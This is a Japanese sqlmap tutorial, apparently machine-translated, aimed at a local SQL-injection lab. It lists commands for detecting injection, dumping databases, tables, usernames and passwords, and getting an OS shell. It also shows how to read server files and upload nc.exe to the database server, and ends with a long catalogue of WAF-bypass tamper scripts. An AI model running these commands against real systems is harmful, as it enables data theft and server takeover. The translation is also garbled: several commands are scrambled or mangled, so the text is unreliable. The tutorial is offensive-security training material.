SQLMAPが、その主な機能は、スキャン見つけて、プラグインの多く迂回するように構築されたURL指定されたSQLインジェクションの脆弱性を悪用するために自動化されたSQLインジェクションツールですが、サポートされているデータベースのMySQLやOracle、PostgreSQLのは、Microsoft SQL Serverの、Microsoft Accessの、 IBM DB2、SQLiteの、Firebirdの、SybaseとSAP MaxDBの。
SQLMAPは、5つの異なる注入モードをサポートしています。
- 1ブールブラインドに基づいて、すなわち、決意条件は、注入ページのリターンに基づいて真または偽であってもよいです。
- 2時間ベースのブラインド、すなわち任意の情報を返さないが、ページのコンテンツに基づいて決定し、声明を条件遅延(即ち、ページ戻り時間を増加させる)ことによって実行される視聴時間が決定されます。
- 3でエラー注入、に基づいて、ページがエラーメッセージを返します、または直接注入文の結果はページを返します。
- 4関節問い合わせ注射、注入は、組合の場合に使用することができます。
- 同時に複数のステートメントを実行するとき5ヒープ問い合わせ注射、注入を行うことができます。
SQLMAPをインストール1.
- ダウンロードおよびインストールします。https://github.com/sqlmapproject/sqlmap
2.sqlmapエントリ
1 が注入されているかどうかを判断する。 sqlmap.py -u HTTP:// 127.0.0.1/sql/Less-1/?id=1 sqlmap.py -u " http://127.0.0.1/sql/Less-1/? = 1&UID = ID 2 " 二重引用符では、1より大きい#ある 2 リクエストテキストは注射があるか否かを判断する sqlmap.py -R&LTあるtest.txt# - R&LTクッキー一般に注射の存在下で使用される 3 現在のクエリ内のすべてのユーザーのために。データベース sqlmap.py -u HTTP:// 127.0.0.1/sql/Less-1/?id=1 --dbs 4 データベース内のテーブル名を取得します。 sqlmap.py -u HTTP:// 127.0.0.1/sql/ ?あまり-1 / -Dセキュリティが挙げIDを超える1 = --tables 5は、テーブルのフィールド名を取得します。 sqlmap.py -u HTTP:// 127.0.0.1/sql/Less-1/?id=1 -D -Tセキュリティユーザー--columns 図6は、コンテンツのフィールドを取得します。 Sqlmap.py -u HTTP:// 127.0.0.1/sql/Less-1/?id=1ユーザー-C -D -Tセキュリティのユーザ名、パスワード--dump 7 。取得すべてのユーザーデータベース sqlmap.py -u HTTP:// 127.0.0.1/sql/Less-1/?id=1 --users 8 データベースユーザのパスワードにアクセスする。 sqlmap.py -u HTTP:// 127.0.0.1/sql/Less- ?1 /言及した上で、ID = 1 --password 9 。サイトデータベースの現在の名前を取得 sqlmap.py -u HTTP:// 127.0.0.1/sql/Less-1/?id=1 --current DB- 10を。現在のサイトを取得します。データベースのユーザー名 sqlmap.py -u HTTP:// 127.0.0.1/sql/Less-1/?id=1ユーザー---現在
3.sqlmap高度:パラメータ説明
1 .--レベル= 5検出レベル:1 - 。5、1デフォルト、よりゆっくりとより高いレベル、より多くのペイロードを、。HTTP cookeiレベル2、HTTP-ユーザであるときにテストします-エージェントは/ リファラー3のレベルをテストします。 2 .-- ID- DBA:現在のユーザーの管理者権限かどうかを 3 .-- 役割:リストデータベース管理者の役割は、現在のデータベースにのみ、Oracleの時間されて適用される 4:.--リファラー= HTTPS // www.baid。 COM:パラメータが3レベルの3以上の時間に設定されている場合SQLMAPリクエストでHTTPリファラに偽造することができ、リファラ注入を試みます 5。 .-- SQLベースシェル:実行カスタムSQL文 6。 .-- OS- cmdは、 - OS-はシェル:任意のオペレーティングシステムを実行しているコマンド 7 .--読み取りファイル「C:/example.exe 」:データベース・サーバーからファイルを読み込む 8.sqlmap.py -u URL -file-書き込み "/software/nc.exe" -file-DEST "C:/WINDOWS/Temp/nc.exe" データベース・サーバへのアップロードファイル
4.sqlmapを説明改ざんスクリプトバイパスきます
--identify-WAFは、サイトがセキュリティ(WAF / IDS / IPS)しているかどうかを確認することができ
、通常のモジュールのトライでメインキャラクターエンコーディングの負荷を交換--tamperパラメータの修正スクリプトを攻撃するそのほとんどが、WAFや他の機器のバイパスにデータに加えられましたWAFは、検出ルールをバイパスします。
コマンド:「モジュール名」--tamper sqlmap.py -u「URL」
現在の政府は、スクリプトバイパスなどに53を提供するために、
UTFとapostrophemask.py#相場。8 、単一引用符をフィルタリングするための base64encode.py#は、base64エンコードされた置き換え multiplespaces.py#キーワードSQLの複数の前後にスペースを追加 space2plus.py#A + 番号のスペースに置き換える nonrecursivereplacement.py#をキーのダブルSQLクエリ、使用、二重の代わりに、事前に定義された文として(該当する非常に弱いカスタムフィルタに、例えば、空の選択置き換えます) space2randomblank.py#は、別の有効な文字とスペースに置き換えられます unionalltounion.py#組合をすべてのSELECTは、連合の置き換えSELECT #securesphere.py追加の特別な文字列 のスペースのspace2hash.py ##数が置き換えられますが、文字や改行のランダムな文字列を追加します。 space2mssqlblank.py#(MSSQL)は、別の空のスペース記号で置き換えられる space2mssqlhash.py ##置き換えスペースの数、および改行追加 between.py位をNOTとBETWEEN 0 数より大きく、あるいは、等号で置換されている間 PERCENTAGE .py #ASPは、各文字の前に付加でき%番号 sp_password.py#は自動的にログイン処理DBMSをぼかすから追加ペイロードをsp_passwordを コードするURL(既に符号化された文字を処理していない)を使用してすべての文字の所与charencode.py#ペイロード randomcase.py#ランダム敏感 charunicodeencode.pyの位エンコードするUnicode文字列 space2comment.py#の置き換えスペース/ ** / equaltolike.py#は次のように等号を置き換える #1 greatest.pyのバイパス > 濾過し、GREATESTよりも大きい数字に置き換え IFNULLをバイパスifnull2ifisnull.pyの#フィルタ、IFの類似IFNULL(B)交換(ISNULL()、B) modsecurityversioned.py#フィルタリング空間、移植関連する注釈MySQLを使用 space2mysqlblank.py#は(空白を他のシンボルを置き換えますユーザーMySQLの)可能 (MySQLでは、インラインコメントを使用してmodsecurityzeroversioned.py#を/ * !00000 * / 注入に)アプローチを space2mysqldash.py#の置き換えスペースを - と改行を追加します。 bluecoat.py#の後に交換のような等号が続くSQL文の有効なランダムな空白とスペースを交換してください。 #コメントバイパスversionedkeywords.py ファイアウォールバイパスhalfversionedmorekeywords.py#データベースは、MySQL、MySQLのバージョン各キーワードの前にコメントを追加するときに #でspace2morehash.py#置き換えスペースを文字や改行のランダムな文字列を追加。 apostrophenullencode.py#-byte違法単一引用符に置き換えた文字は、Unicode ペイロードの最後まで#ゼロバイト文字コードの読み込みをappendnullbyte.py ダブルURLエンコードを使用する与えられたすべての文字のchardoubleencode.pyの#ペイロード(エンコードプロセスがされていません文字) マルチバイト(とunmagicquotes.py#の組み合わせ%のBF%の27 )と最後には、一般的なノートとスペースを交換してください。 randomcomments.py#/ ** /スプリットSQLキーワード